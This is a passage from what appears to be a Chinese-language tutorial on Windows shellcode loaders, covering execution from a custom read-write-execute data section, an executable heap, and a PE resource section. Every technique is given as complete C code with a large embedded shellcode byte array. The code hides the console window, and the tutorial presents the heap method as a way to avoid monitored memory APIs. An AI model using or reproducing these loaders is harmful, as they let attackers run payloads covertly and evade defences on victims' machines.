7\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";
int main() {((void(*)()) & sc)(); //&sc
}
4.新增数据段(最终优化)
除了修改data段的内存属性, 还可以新增一个段, 设置为可执行的属性。
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma data_seg("vdata") //自定义新数据段名称
unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";
//停止将数据放入新数据段中
#pragma data_seg()
//将新数据段的属性修改为可读可写可执行
#pragma comment(linker,"/SECTION:vdata,RWE") //记得修改成新数据段的名称
int main() {((void(*)()) & sc)(); //&sc
}
PS:这段代码是用于在 Windows 平台上创建一个特殊的数据段(segment)并在其中存储一些二进制数据。
- #pragma data_seg("vdata") : 这是一个编译器指令,用于告诉编译器将接下来的数据放置在名为"vdata" 的特殊数据段中。这个数据段是一个自定义命名的段,用于存储一些特殊的数据。
- #pragma data_seg() : 这个指令告诉编译器停止将数据放置在之前定义的特殊数据段中,即"vdata"。
- #pragma comment(linker,"/SECTION:vdata,RWE") : 这是一个链接器指令,告诉链接器将 "vdata"段标记为可读(Read)、可写(Write)、可执行(Execute)。这是为了确保在运行时可以修改这个段的内容,通常用于实现一些动态代码生成或者代码注入的技术。
5.通过堆加载
除了通过链接器修改数据段的内存属性外, 还可以通过HeapCreate api获取一个具有执行权限的堆, 并在其中分配一块内存,将其地址赋给shellcode, 也是一种规避 VirtualAlloc, VirtualProtect api的一种实现方法, 通过指针运行。
#include <windows.h>
#include <stdio.h>
// 不显示黑窗口
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";void main() {// 创建一个具有执行权限的堆,以存储shellcodeHANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(sc), 0);// 在创建的堆中分配一块内存,并将其地址赋给bufferchar* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(sc));// 将shellcode复制到buffer指向的内存中memcpy(buffer, sc, sizeof(sc));// 将buffer指向的内存地址强制转换为一个函数指针,并调用该函数,执行shellcode((void(*)()) buffer)();
}
6.shellcode存放在资源节
针对PE文件, 我们可以设置其资源文件, 把我们的shellcode文件当做资源文件导入, 然后在程序中定位到资源文件的位置, 读取相应的字节大小, 加载执行。
- 右键项目,添加资源
- 选第一个,点击导入
- 选择生成好的.bin文件(例如:pd.bin)
- 资源类型填文件名(例如:pd),然后点击确定
- 然后自定义bin文件的资源类型, 此处我自定义的类型为"jsq",当然你也可以定义成其它的名字添加完资源后会在当前项目生成一个resource.h, 代码如下所示,这里只需注意这段代码。#define IDR_JSQ1 101
- 将 IDR_JSQ1 修改成 IDR_PD1 即可
#include <Windows.h>
#include "resource.h"
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
void main() {//第一个参数为NULL,第二个参数填resource.h里的IDR_PD1,第三个参数填自己定义的资源类型HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_PD1), L"pd");//用于获取资源的大小DWORD ResSize = SizeofResource(NULL, Res);//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄HGLOBAL Load = LoadResource(NULL, Res);//申请内存void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(buffer, Load, ResSize);//指针执行shellcode((void(*)()) buffer)();
}